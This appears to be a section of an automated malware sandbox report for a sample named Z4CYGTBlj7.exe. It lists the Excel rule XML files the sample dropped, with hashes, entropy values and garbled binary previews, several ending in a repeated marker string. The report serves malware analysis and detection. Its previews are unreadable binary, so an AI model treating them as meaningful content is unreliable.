Preview:	<?xml..%h..\E0iGf.J...?..T....-.#.4... .1..X.7c~..E_..HW.[...u,....n.2.@...B....."..J..3...&z;....M.\|...!.9......X......{. ....1..L._..e.I...._.'.xW.V<}..].......[....EL...~..UO{.;<....6U.....#.K. +..w..Z\|B..j.... .m.i..;.<.R.2.L...;.r.....[Q<s.@..Nv...f.......(..P.7..Ct..P......(.v1\..b...>..H.1...'>.X... ...^}u.....%...%..3..3......dp#<....T#9..$%....E...Kyp'...Q..;.B..J].RT....$5..8UY./[.T.....p75"...B.P."b..{U......b..V...7Q.U.\5="..k....[,....^?.@..+A.H..sM...ck..:&U.1@l.AO....T.D.!.O..O..E..:......&..S..Qp..XZ.h......\-....0.d.t.Tf.]T..K.rc.9..jt?$.jQZL'...WVn..^K..=~.{...\|.^_.$3hj.rmd\r$....U.B.....^...JJ:-Dru..[._C......H?OU.....d.B.../....=P]..i.r.\C.a...Q.y.'..`7)...m8.....I...Z......3#.B.e....K=.5.(/....d....&.....n.Df.v.L...._...6......w..9.... .hu.q.SQ...Q..;3.&..V....z..u.!.....SzbD;+D.3 '....)N.lN.rQ.y:..}....@......y.......?.B......E......[D....6..#..o-..W......~.na..>..@...23...Xgs(.....%.P.......L'...L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.806382417045528
Encrypted:	false
SSDEEP:	24:gaC/FHXG0zfNTeqzn97Aq+0tvoCkWK9akNS0eyVf/8JsbD:gayh205TZVAlpCSEkNWyVsJmD
MD5:	323502B26F2FE91699C92487F578C3B8
SHA1:	C1C23200CADDED42DC1609B465DCFC273BF25822
SHA-256:	A7EA4B796359D427E0435B32FC3D38F148585EED9CBE4132489443206BC02DBD
SHA-512:	935A4A9CB52ECF1A990558DE2BE6363A5D220BA0E74E5B71C3972207FC6529A9203A43451CDBD40E77201F35A73DC975CAC4B3C632111020670C6419CF56F45E
Malicious:	false
Preview:	<?xml..n...M...\|Bz....n.S..M.m...%.2..J..<....E.hm.c.;./.R...z....u.."?..V.U.X.....+%....{10....o.h>"......0.8..Y6..G..?x..V....!.....Ar...9YZ).......m..6.............nM..f.....#Tt....!-0,.3.BS...F...s....O..O.S...%c...4\u...=;.UM.....v..e....d.....%....$.....4.."l.f.......Z+..._.qMu........G..r...].X........+..o.y..._...k...._........p...ph..rY}YT.4p.:.].L.a..2....G5(&.K.`N0.;..xY=.4.4]._..;.$.k.6...T@..]...SW...c8....(.n..\|G...(.Jdt.fU7.:E.i..{ly....~..cb./....E@G.n..y..x...I.3.jO4Q`I....@.E9NB.%...#........7z6..^Y...A...;.....N....z...LG\|..&6.u\|}.R..2Fk....G4.u.,........jQ..$.4Q....A.O.j..n..4..Y<G'V.%.ui.......g....-..sd.}....>]..?......2....9..r.h[..S9...`..^^....A...ry.i..wj........JN,..../"B...$...O. .qbB.q........%ti.......t....1../Ncj....5...ru.B......9.V......g.x...L^.y.]....M...1Sx+....}..Z.E}.=.ph.9.5.j.@..j.^.b;.[..!M..Y...[...P^..`w.Sb.5....<...d.1........s].u.....J.2..i62.p..w.Z./...z.j.K.ZJ(y......Ot.tt.V....%y...J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.818742928521221
Encrypted:	false
SSDEEP:	24:dayfHEvvW6FnIbaDNnja0GoyaUkNA/vpV6bbzeQtEbXFYyPGsIF8IMlUsbD:pHEvumnDdeoJ3Iybh8PbaUUmD
MD5:	DECB54192E8CBC84C72794DD0944CA32
SHA1:	24E6311629F438EF88FD630B41DCD14BCB655A9D
SHA-256:	F3584C474D02000B6B6D1AD45973A8BA6DF64D38A99F79030E5E0EB6A77CD479
SHA-512:	E621E27863D9F92570734F3F9793B23A8686838CB14665EF5330F0A459277DFC4885D601BD13F2BDDC332CCECFC773C66E373B521E04DA78CCFEDD3D27DB5908
Malicious:	false
Preview:	<?xml........%.....^).[..!Xh..^"H..}u..Q.n}D..Z?Xi.".v"..q9V....B.(....Dt..r.....$..]?...R..I.Kml.o.K.G.W!...{.A.#b...dl...\|_....:x...-.R...B.;....r..~K..{...%.P.Y1.-.....#2+.<...b..A(....C}..{]..I.]WT...#o..@. ._rB....LA.}H...+vD..I...:..eq...d..(.....w` GH.......[h9K\|.1.O.q}..,.n...".&.E.%.-...<.8#{.@`..j..F..[p-H?.3..JH..A.%t..Y..Z.1.....V.y.rB...v...Q.......X....6..ih...q..Lm..:.AI.g...",,~.x....d.B..N.}..lZg.M=ce5.....n.w......T...`....O.....{...'N....?.....I...}..{+.~.5..x~.Bl>.p.\!_~p......;...?.H......+..;..TB....s.).(F[..Q......z...pC)._Xb1."=....5.v%.C...d..xo/h.;..yw.(.[(V7?XW;.+...,f(.....).u.C....dA7...-...$._.........O.`.rT.....r..9..FzP...m..8QQk#......=f.N4.%g(.R../.n...q......z.!..L.y(.\|_.......)..m.p..C>.....i.....[.....X.Z..Z#l.%.oZ0>.<..wy~..R...FQP..U\|e.>..+..0&k..=.n...cU{..NI.e.....#.....j.S.Ud..h.Wj..u..EP......%p...ek.....m..*..')K.....n.h=.d.......H.'.....).......C..M..e..=2.kc.m.5...z.j1.1.3/...4Ky..^.o@(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.803846455990294
Encrypted:	false
SSDEEP:	24:Abkh01AnCI2CNGvU7htmKBYrcDjLe9jBdt6CVCrG8s7OIMQSCUfsbD:lmOCJ4Gv8hYKw6SRv7OIMQufmD
MD5:	26D18E25A2A15B476D7291E0D89E801F
SHA1:	68DC6ABC18BBC4206953BBCAE4709E5A15740B8A
SHA-256:	8EE0A52E4C5BCA5433C027B990F346F04DEC884CFD8E4E50B88A92B491D06678
SHA-512:	CB3E4169D09DC7AA44EA590207628DE9B6509C8BB711822CC7D2E8361B329A357457883709B3294E0D0DAA6ED7E53F9851BEF211C9EBD0AB20A870FEF685A998
Malicious:	false
Preview:	<?xml.}.tq....P.3.`.^....... ............j..J<Km..x...}..b.b.xv..$...{.z..K.4y.#....}..W..m#h..y{.}....-.m.......c}.v..}...d.#.m%.e.....^y.Y.n....m..pyy1...y..t_.-]..d...j..d.ur..`....i.#{.lT.59Qe.;.kZ.....z.1o.@...M..$O..L99.x..-YW....e..n........_.......C;R.T.~.[fM;.?4.K.....&4..u...j..J.O.......s.n{...h..3M..c.%.B.;..........Z...."n...>...t.z.....H.....(T......s5..6o ,.. ..Of5icZh...5.W0...,.1...3.^.b...1=D^p.un.i.#.6.s#lxJ-......).{n./T..jE7~.5%....};C.#..x.?~.\d"a.D;...<.....Ns..v.`...v.4.!.F......j....b.....}/..}.....A...+..7..R.u....../z.{..t.....Ot)b..\|w}.H.....8:....\...eIv...J..i...c..fJ........I84......K.]...\..tM9s.$.......9.J..................#...T....F..+M.r.......z .Fb..@.....\|....h.9.5.N..3...W...h..,O..4.\.Y..W..7....m.....7....tTU.....6..~Y.Q.24f.E.M.v)..........}#...\|.....A.J..~.......~.k..f..k5....y.Z}..%k..Z`%.8.Q.X....0.[.Z5..w...G....z.(.....W_/.9-.eiy......g..O...r.d..-;.>%.x..$<..:@.w.>k).)..BZ.1+...9"....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.824171007179369
Encrypted:	false
SSDEEP:	24:otqYYrIxe+TaaME6MDNYLfpv+m6SeOv8/Ugi8y7sbD:uqN+JMELJ+hEimD
MD5:	EE4ABFB49B31EBA46AE6D245098EC68E
SHA1:	449E4DAE5F7DA1059C0EB4FF13E2D3652E7F3DBB
SHA-256:	3E090AAF03EBCFD2FC77D3A5C486842BBE28B0783A5EA8A844E277BD5203A523
SHA-512:	310C02F1654070382D2138C136214BDBA5DC1303AF7494854B07C94B9075E0FB5E5E7EBA101C2C4C7AB9A88062DC33444A5AE1ECD2796A51BA4C718B7B0694C3
Malicious:	false
Preview:	<?xml2..`..R.y.......!klV..(..e..7.,...@.[..=.l].....j.......0c..@C{.......=.....7+$}^.....2.4..6.."..!.q......9.....UU..r..z.8.y.F.._7.`.u.y.8.#Q....Q...K#qeh...!.........XA2?[.).....N...Q...~b.=/rxc..+/3...Wcj...X.x+..(6Ba.. ........7+O.d.j)...x.V...p_..G.C.F....5f......<..jO.)...o.X"5...E....{..B...j`.Y/.&R..<\...`x.%o.....XR..........@..:.~fDo{.1..1.....t.$.f...o....UW.u".^.f.E.#\e.>....8...5....Dr..]...<.~$I7=.....F\......?w]...,.&m.}.!K.>M......W.U...6V.O\|...<...../..i:..w.._.....h.%...x3r.4G%...h.E.~).M (.?K..o3...O....-]s.oM.>..y.%...$X.g......CX.Y..\.]e.........N....'Q../.\|.^...8...r.......^Y.1{....Bu3....5.D'..jk+.r6...jQn....... ...j..'=....!E.I\|<..#...[.`..s.........m.D.5,G.A...x...9_......;..Z...7...\L1....}T.n.N...55.'J...&L....$.<{....otA...o..r.... .z.S......-B6.ez.../Q.m.....yPv!L.W..9/...l.`.E..H...O..({cv..m...>."..~8....t..[p..l...4....nC..D]3...u.W$.`<:..w....#b.k........e....(..._....b.6..Z........Zu.....`.>I.O)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.740484218404404
Encrypted:	false
SSDEEP:	12:QcRHuhmDY/7OPl5DEkscrxwip6fL8h+Naj4eBmvsSKBDZpmcTOo7nhOk+kUaxUQ+:QcROhNKl/b+NPNvsp7mcTOo7MVabsbD
MD5:	74D2FA62AE8BF4B05A3986F7D5070401
SHA1:	D4166AFBE892BEA4920C6642316001610A60570C
SHA-256:	5BD00E7BDB21CC844F29C577BC8B7599833558D1E2EBE8D13293B6497ACD14D4
SHA-512:	6F9DFC1A7CF3F7A05EC1BD20A54E41FD1C05431736BB3822CD088B925B2B47DB37F3BD20BDA7DE91159842DE9FA753C8941C8E13F0574BE3D3C37F51F167D1E9
Malicious:	false
Preview:	<?xml.R.&...r...........=j_\|.U.O.XN.v...R-...].$...Sr....}.E...b.a~w..`.>..9&c.4...n..1.'X......<.%..P=....v....w.p..YS.....vO^.I.I.Y.H.b~g...qv.x.:.%y.G..Z/..Dd....\|M..!...J.f.<.h.6.w..8.6.@..,..o./....o..sw+.57..:g..s..A..o.;=b-.F.TW.....$.u...c.2B62.3...3>.p.J..X.b..i\+.v.a.F..Y.M.^u.d!?...1[.S1.pl..........wmo..'.qaO=l. .....>E.;2Q...J-f.\|Fg.=_...q.tX1....,`@B/.l....h..{...>...5.....%:D.....'...DR.X.9..:...S..I..@.8..z.Zn.D.F.h.V..)....$1.tc.f9..........$..Q#,}s...WO.,.t.\.H$.Ib...'.h.m..R.[.B:^.............7.].:...."..].i}..Yl.;.#=...]..6..1..[..9..6..)6..?m..M{.z...v..m%.....7*...8.p..r..l..\|iQ..1.o.~..nc. .$.a.{.G..^..go...R.....[.. :.M.j.E.'..q.EN....64{..J...L.3.Y6...t.~l.Z.l....r.Z..}2...E....O........a&{7..A..N8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.695275617135293
Encrypted:	false
SSDEEP:	12:bZE3Ewxz4+W272gg6bZ22EKE4QepDpa0SS38Y1qDHZ/IehOLm2PV6Z0HnuQsciik:bS2qT22fQMpfHqV/dOLUZ0HfsbD
MD5:	9762ECB345821798C02F0212E1202AC7
SHA1:	94094F0E6A915E809627DBFF52D8C5D0E6DA84A6
SHA-256:	CF5B1BA28A422A6466EA7309326721B6D5946482FF6B510897C49100D87B8224
SHA-512:	DBFDDAD4733003347CE44679C4471181E30EC97C41DE5D8E51D8E32425B2F71F472EC270ACCCDA353567C7D8B7DFB16B223EF649B713D7B1640C7359A17A8711
Malicious:	false
Preview:	<?xml.}JV....O...u..1.....2H.a.8........Y.. ..LhM.Z.<.j..!Rm..[#.PA ....}.\|.-.$.....NE.....c#.[j)........%.6 d..1X..l....T0.\.n.-..I]Tl...o.:.I/^.....A.V.O....8..=...yH..]./..X1 B.M.E>Q.J..._....1.x......n.....S.&.Z. .Eo....M>.{z....... Y.3..~]...Q....:.>..(....%.(E~.....zF[4..U...j....W`..H.....X........=.7..fmI'.O?.Js......2....~....E..lG.y......V4#.M.......bx..Ah.-.~$..t.S...\.!.6.d.8.<.......p.dy<...4.@cR...3.3<s..G./..I.W............K.1M'..>3../p......p.<...oY(.\|{.M.<..\A&$.J.>...l.-W._.. A!.n.\E4....^."6f....&?-.j.v.<...Pd.^..L.T......P..F..J....N.H.j........r.?%R..8t.,4v....-.....O.F......D...+.......ouH..%.Q........1.....j.W6....i...V.Q5.D.S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.68118890334679
Encrypted:	false
SSDEEP:	24:sauVnHWTe8AsadKlON0dVYINbRyHmAonoSeyM1/ILfsbD:sDVH6bAsSKkN0dvDAonoT/ILfmD
MD5:	04EC8D0CA98A039AAF6361500336AF78
SHA1:	940301EE5B89B4C78BB99E0FCCE84F4B9C863366
SHA-256:	24A2AFB6559D73A2E2F5930E2A928139B05060DFCD386782460C13FB6C81551E
SHA-512:	3930B552E2D847A65B54AA6019CAA6B310B1C3103F0B7FA516EC4D79694A281514D96F659834CE4E3E00AFB37EC42B58414037B136E40FBFDC2EEC183BB6700E
Malicious:	false
Preview:	<?xml..a...+?.._.........uT.\ok..c.....G..>.81.m...h">.p....-D...bv.`..g...P..".Y\......u..v...&.....y.l..uv?).[......@.I.b5]..^.....SD..d./.\|...A.../.....3\|....V"d.w.HYj........~y......~F.4..!b&sbr;..).^.....#..w.m;..`b....P.s..+\|&.C.v..M.=5t..(Us.s.....2......3[14P...Q..?.*.U.?........n.6..+.....;..x..r..m}...i .1..V...4k.1+7"L..MR.V.1..7+.....u....]..X.E\|....z4.a...2....f-/...l...q:Tg.k...SX/.$.9.fd...{s .r(.....D.F...f....~BS.....3.gvS$.xn.o...hGA..A.....)%A...<.+...h..2.K.m...E..x]I.6..."h.Tq'..A..D.QK)2. 3..TUs....'.$..'_..+'..>n<u...">.v.$..E....Q..."...x.M..@';."....3)./.D)yKqX.:.q-. ;2....m.L......DA....<G.Pk......;w....8.g..X.....+Y....K4...`8...;..8.$....e.A.^E.../....#...7...FN+..t....xZ.;..7....e.q.>zg.m.'.....`..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.826524528291243
Encrypted:	false
SSDEEP:	24:MfFo99o+Qc388mvjk07tPt4GznUCmLBEWpqWf7YbargnqN1KgRPfsbD:aFIa+gHvA8PtNznpRWpVf7uar3IgR3mD
MD5:	FFEFA2CCD40BF6CB87D8EAB9033CCFAF
SHA1:	5A094F2B2F381ACF86F1654F4CEBBA31B386167B
SHA-256:	98D0DC9D85E15EEAF72408AD9E0CA848FB76380F40E77626ABBFFF18DA7C7C1C
SHA-512:	866197BF4BA93C6CEBBC119740A4BDCC3DB669B73EFC87515578FA7CE4938F0EDE162D2BF901F85D3C750666B72DD9525BE2E2D060D370433E9CF59FBD6ADDEF
Malicious:	false
Preview:	<?xml.`4.Od.4...A...c;.}O..#b..a.N...-.....S.:.c...f.\..I..;.."....D[..T.....K..An..#.SP...5.w.}........e..7..y..F.l.)........y.z.any.{.;...q+aSY.$...O...0...4.....V..%.7L^H_q.u...k......$,.......`.5.@vi..:.f...YM....L,.N..^P..UcG.....>....R%.Dnb3#A.........M...v....mmK....gSd.aw........z..../..J.:....rJfH<....U.......N.....`.x..{...#.q8.&....<..(.o0TK..a.q....c..`..D#!..T......&.%.8v.5......"..P...e.-..A.P.u...x.+..T:..@-....Rl.L..L.._Ft....\|...T..$UNSO....9u....GH.?h[.].7E..n..sR.x.$.......\.l...k$.u../..P^.v.,B..C.....Q.)..F.&.I...X.Jd..I...r..h.....-.ZC.7.1..S...6...h..z...@U...oX..............z..%5.. .h>X#.....y.N_u....k.Q...2o..A...8.A....rb.b.......z..e........~.....<".Mw.....U.....qk$.k..a.j.....+...~c.l.ED..S....N..?...C......,..2.\|..._...><.N.H.sM..5...v.H.k.o.../..z7Uf.../.x....L."..Z`..8.u lw.U....T....^..V.[....;.B3.4.O..%G+...<)....$.4v......gy.1...'(.m.$0...b].V.hV.....,.L...Ag.y,.t.\|...6Q.....K/8....a[.X.4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.761300720098198
Encrypted:	false
SSDEEP:	24:RQuP43PbTWN8jFBZnSNv3OzAYKLBnxYDexYekOJsbD:83jTWN8jFBp6GAYKLTw2YImD
MD5:	B68026BAC0A98A49689C500DD69AA808
SHA1:	AF294F1A7A54C8B96A5AC27BDC28E23EC5A12A1A
SHA-256:	B9B98AC66FA52E18C69C0689D96AF12AE42B7EF58DB355044ECF513DF06531A0
SHA-512:	C189E6E6DB42EDC98AF1C6BA356E55C349F4C46C22F7AC493855504167EB8A88D7D8E377FA8C26C3436DC348C72E4F37B6B497890B3C84AE92A9D73EE6B199AF
Malicious:	false
Preview:	<?xml2...S.........wM/F.wW^...F#S.Pg...V.\.E.$.'z.....tJ.".U.<..>.'.......\....;ZvR......<.Q..-...^RG....^z..d..N.;...f..e....6#.......B....D........]\|...y.)h......Y.....r..K..6O$..w....[...=..S...v.@:..i...G..6..'.w.,&..)-4wu...>6.{M}..Ogy..8......?...B.$'.l_..$..R.....uz....k!I..D..Qw......uE...+`8.5}...+..L.9.tfIU.g. .z.<Q...:..._s=]...W.J8H6......u...:....R..\|.v-CJ?..............{J..8qd. a.G..@.{>.sM...v...R....g.FJb.c2J..G/..y...1.mG+uS.k&&Y....g...q..V\|H....o..=...HC.Y~..(Ve....V.....=....v..\|..`B..s.QI....(?.zs.Hk....u..l.L.......F>.....0.....#...pQ.69^'.E..Y..ba.....{......N\|..XP..,pF.!".J.n...M.[..<.]..]...n4e.....K...,..........[_..._.l.@...5.CLDV.y]7:.<..7..IX.2.".Z.....'..u..ILT..k.!.v..Id)..)j{......2.....).N.\|k...V..>.....V...iWi...7.M...Wu\|.x!n...........{%W.$y%.Y.....B...QL.....0g,...,..*..\|8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.7275151950168075
Encrypted:	false
SSDEEP:	24:gdTXvDf2q+AZNG1f6mSmPhTrTIBDZV0SfvHt/82Ah0A4sbD:g5viq+MNGi+BrT84SfvHaff4mD
MD5:	ED37A0C13666736C7ED617B2EA330F05
SHA1:	251627B39CA9D31F7C9E408395A435AEDB353FBA
SHA-256:	4A060969F4AE697984A63361C1782F4EAFA2852835634EB43E2B6F9750FB75EB
SHA-512:	EB6F0676307F175FDF6EEF56A75A6F73A69C80A177AE59CBF0A7282510E45FAD77D73EF1329D501C3650E633F63E815F7AEBA79C383BA323B5FAAAAFEE5B2E95
Malicious:	false
Preview:	<?xml.D..C=6......! ..+to.Sl..%{.4.!.rO.i.u....l...6n{...c..~..e!....O'=D.9..73..D.k...OF....o.#.{qkB..!-.L`8.~63..#.C.Ab6...i.\9<../.F%L.Yiy(.....m.....p.lb!8..S.z...,Z..w..P..Zd.t....Y.g.C...@.s..fP..v.w!.y>.?...8.....b......=. ...H../A.......Q#..-.,....)..b$.....~.L..s...kN....#w...A_P."...L..K.5..l#}..L.....u..r;L..bO.../C.G.).XD..n0X...<...h..]5g..NM.F.5.u....v='.m........u..\|b'....N&..Ayq..v$.1.F..eC.8~...>......5...}l...h....h]...K....m..8..c.J..0.q~....9.T..MA...........\|%......wi...3.....Y.e.o)....A6z.#...[....N.Q.]...c=3....R.!..'A."!f..Q.K5D.l..K ..nM.ac...Q.KH.>{.B.X~............f...R..uP.~..McA>...F.Z.l..ZS.#..;.U..s.....X.,%cTg.n.,#....F.~.0.0....OB..?B.....{.......I...[.5..c...l......r.6...\|.(.u....f.?.q.%.wx...x..({...>hB... 3..^..E........\|.......D&.a?.T].q.^..Y~.D.kJ.b9\|...4p,.....^BF.L,*4.....H..y.."....j;!.x.Pr.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.835547682258427
Encrypted:	false
SSDEEP:	24:tUIVM8p2MxHcwI2L7Xtl+zt1lF6Q7clrAu2vhG0qMpwGO3s2ksbD:48nHcZ2vCzt2+hG0qowGO38mD
MD5:	474EB83E1342CFCF529F928DC678E855
SHA1:	439A344F44FFCD4C3BAD8B78C09C29E29738A447
SHA-256:	C66840F7B31D5010B7AA3918A7164E5F50550C79D9CFFE3A737A26C4470441F3
SHA-512:	2DA5CF2A29B7A4EDD0A6D16ED2FE6CE543A7CF5B3F67A7871015C924598F508215F1E7AA424A4E0A4D6C661AFE00D5C11EE55671D343D0D31582B4387F2BE0E3
Malicious:	false
Preview:	<?xml.g.{.5.R..\|./WYw......!..@.r..A>1c.4..X.7....g]9.#.8qX.....i...Q...:...}.. ....u..h...L...Y.....dy#..-h?...a...<~e..DJ.$....$!7q...L.....e.......lU-.......t.f....T..R\Z..Y...6..Z..]........A..K.}.T..T....0-.....U..b.......!.`.%.:... r.f.OW........f.t]..oi.:..\|).u..q.0.+......W........D..r.p.i....\/....1...j.ck...<^......J.....X9.d.\u.......0R...c..]..._%.........]...:_..F%A....p.jH./.v%K...O:...vUUN.W65......T%o....jP=4...D..ri2.?....w..xY..5.n.!.%..J&..5;\|Zbogt..,...I.2.yp.xD.i...uO>...9-.{9/.B.....9...B.SWn....yC.G.....d..w..p........3...k...Q.<.c2W...I..!&....1.q....9...eg...../.nh.k.OY..`.l..........G ..RU.T?J.R[.8..T..L...,.Jq1...RW]...nq.R.....vJ...of!.....(....:.t....RX..Fb.l.4U..k6.....M...{D...Bm.I+..@...<..s:O....jh.>P.~%Z.....n'<...s......<...+.Y..Z.....98...r:r..9..I9..Q.:....&......dF.!.8y........u..6.RP.......SW.[....../..c}.xZ.C.h...?/.nrC,.....y.B.An.?..N..N.D..).ef....GhG>.P.R.ZF.sE..r;u.......m..f.s].H..s...P{>~i.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.841829628008956
Encrypted:	false
SSDEEP:	24:4aZgzkufOb0uetgTtJRxpfBmfi/ACEePSVNeV0t0kjuZ7cDRUaNDstsbD:1ZVufl+7VfB36VNeytBDRUaxstmD
MD5:	E78FB3CF1B45640A5218C53F1BC924F3
SHA1:	94A93BFD6DD5C58E8FE7297D62B10F2F3FFCB0B3
SHA-256:	F9321F5A64EA04915128F4C11139D993195A03B4EE9902DC1708F16D6263F60A
SHA-512:	2E8AC8083D4328D9E71E912983151479FBE3FF1B32FB35EF354B16D5DCE8AC5DC5CE63379311637DF3DC1212CCB66610D666F7807881D65EB1C301A490AA0FD2
Malicious:	false
Preview:	<?xml.i.<.....e.F<..?.7..;..W..i.m..)......!.....}..)8..^.v......=C4.0.p}.......(.`Z..9.....@...#.k.....raY..... .P.bW5;1O........[".S.. ......z...{.......t..3.("3.2.x.......p..#.J...>:.....g..N#;..T...<.m}.)).....mZ4$..5e8.K..(\|X<.@.ya\|.y.8...X.9$....._..J../eF7PCz.R....jw.}....&..[9^.....k.D{9.d.T.C.I_.i+5.....?9j....D%N.....I..2..m{F.i}..!C...............P%JGx.G.}.. ......V.<....:..=uL.#.....[... p............;D~...gi4.S..=..:....f..en.)Q.A<qI.uaK....k,n.#b..>).@..._.. .._#......S.q2.9.A.R.....js.R4.\..d..U.......^3@2-YP..<..#`z.j....\|4Q.g...a...T/....).brmX.{8=.^y..?ls.....S.#.D..\.'._..KQ.c^M\|......u.B.h=.../..y..x...D...#U.S.U..{....s.w.....F#........~.Q..#.G"....l./@U......3......T.mpq;......%#....(!Y...Z.A.cK...{p..p..YY..Z.f.f..-..zY......i....xbj>.V.e..Wm..$..Y.{.k(...6,..Y.I...q....T.....f.....^..}}.dK...k.V..L...u..0.\|)..M.aUNS........M.Jz.....n...1.{m..z.p.....m.MW..y.n.d..D..\.c.9...A.........<!.....,....S9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.814545079771135
Encrypted:	false
SSDEEP:	24:gfmz7ER3EdgBW8nL+OIR+QbUcS1R3HrJhHlMelwKlzhtCsbD:gkG3yg48nL+OCUcS1NvH9rzhtCmD
MD5:	C73B4E1DA972346E3905B324883C0B7B
SHA1:	4A8926E0D834AC8EB170959AE60DDE971648749E
SHA-256:	A11A5C6C04604E236C282C1E44B77E075FE51DCF5EE2F62F927B8A773364FD0D
SHA-512:	1A295CB7D93D5A55440343A70CDDF4DE794690A5964C845D85A89393920A6BB0DF577A95DAC16FA4F6280DC04FAD8F8D346547264D379F746AB625E1884E079C
Malicious:	false
Preview:	<?xml...D.6..=..t.<..r.Gz8...c...}r.}..{D.......\_.........3.0k<...p...T...QO..%.c....g...MJO.4..g...@.K.~...X..z..._........8.i~v-..y$.G.;I.9x]... .ILx...N.}..\8....+....\|L..tT.T..E+A..je......B....vhK....i-.......D.".ZE.(.>.[.Ci)..G...J..b.....8....cZ........>.J`N.....#.....6k.p..k.j....56)........k...~F...}.R(.9.v..?\|..'Fw.m. )..l..cZ... NK.4{.8.l.F..'.:.$B.hW..OS-..qC@O8..2.)...g............j+...l.Y..F.].Q].5Y1%j.=#o...$...Z...4.6.T.q2F..uqZx.......Q.V....L{.;...[F..-q...mWD....a\|."..w....B.C.<.IP.8..1.;..T.....r8n.o.c...e..Vx.s(....O...o..1Y..........%.....#ie~o.d..H...r."2...}.@.l....>N..E.?tw........-tj.-\|,c.1.h..{.....Gi......i...V.r.yP....B...p6&.).z...>.....2...>.....O.......(..+.....5hH<lh....G..M...D...,.d...z.J..^.O..U.....<[;rd.....H.....3....$.7\.K...H.O..i.p..<..WG.s..j.i..?....w^c{5"..{D}...N...}..8..{~D..!.}.........>....@s...aF......$. .l..Qg...E..DNOT.....e...r.-.m.....Se.#n.l...'.;?..B'.I.$..[<.J....;....(....-D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.814238643637375
Encrypted:	false
SSDEEP:	24:KVKneOFzhIp75Mu/se2BVa6BG0I+MpLnTsbD:ph6+u/4B4bZTmD
MD5:	1288EB6DF4FC2027AB3D4764FCBCADA5
SHA1:	CD09C5B624EE0E0098C47FED083A0F63DAED958A
SHA-256:	D0770CA74FEA2D68CC5A4D55110164CEFCA778718C413052FA2DFE16965B1020
SHA-512:	E9CA87AF6F96250A1CA485658A26F44F2DE282F3811AB4B2E98A42D77127B07528E2307C32906E8CD606767B9EF9B11A5E9C574CF2BB487F8EB8078E4C80185E
Malicious:	false
